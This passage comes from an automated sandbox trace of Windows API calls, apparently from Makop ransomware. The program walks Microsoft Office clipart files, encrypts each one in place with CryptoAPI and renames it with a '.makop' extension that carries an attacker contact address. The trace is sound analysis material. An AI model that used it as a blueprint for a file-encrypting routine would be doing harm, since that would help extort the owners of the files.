(HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.657] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.657] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.657] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.659] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.659] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.659] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.662] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.662] SetEndOfFile (hFile=0xf0) returned 1 [0118.670] GetProcessHeap () returned 0x48a0000 [0118.670] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.670] GetProcessHeap () returned 0x48a0000 [0118.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.671] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.672] CloseHandle (hObject=0xf0) returned 1 [0118.672] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0118.672] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0118.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.673] GetProcessHeap () returned 0x48a0000 [0118.673] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.673] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.678] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.678] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.678] GetProcessHeap () returned 0x48a0000 [0118.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.678] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.679] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.679] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.679] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.679] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.680] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.680] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.683] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.683] SetEndOfFile (hFile=0xf0) returned 1 [0118.691] GetProcessHeap () returned 0x48a0000 [0118.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.691] GetProcessHeap () returned 0x48a0000 [0118.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.691] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.693] CloseHandle (hObject=0xf0) returned 1 [0118.693] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0118.693] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0118.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.694] GetProcessHeap () returned 0x48a0000 [0118.694] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.694] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.694] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.759] GetProcessHeap () returned 0x48a0000 [0118.759] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.759] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.759] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.761] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7db8, lpOverlapped=0x0) returned 1 [0118.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7dc0) returned 1 [0118.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7dc0, lpOverlapped=0x0) returned 1 [0118.764] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.764] SetEndOfFile (hFile=0xf0) returned 1 [0118.772] GetProcessHeap () returned 0x48a0000 [0118.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.772] GetProcessHeap () returned 0x48a0000 [0118.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.773] CloseHandle (hObject=0xf0) returned 1 [0118.773] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0118.774] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0118.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.774] GetProcessHeap () returned 0x48a0000 [0118.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.775] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.775] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.775] GetProcessHeap () returned 0x48a0000 [0118.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.775] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.781] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.781] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0118.782] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0118.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0118.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.784] SetEndOfFile (hFile=0xf0) returned 1 [0118.793] GetProcessHeap () returned 0x48a0000 [0118.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.793] GetProcessHeap () returned 0x48a0000 [0118.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.793] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.794] CloseHandle (hObject=0xf0) returned 1 [0118.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0118.795] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0118.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.795] GetProcessHeap () returned 0x48a0000 [0118.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.796] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 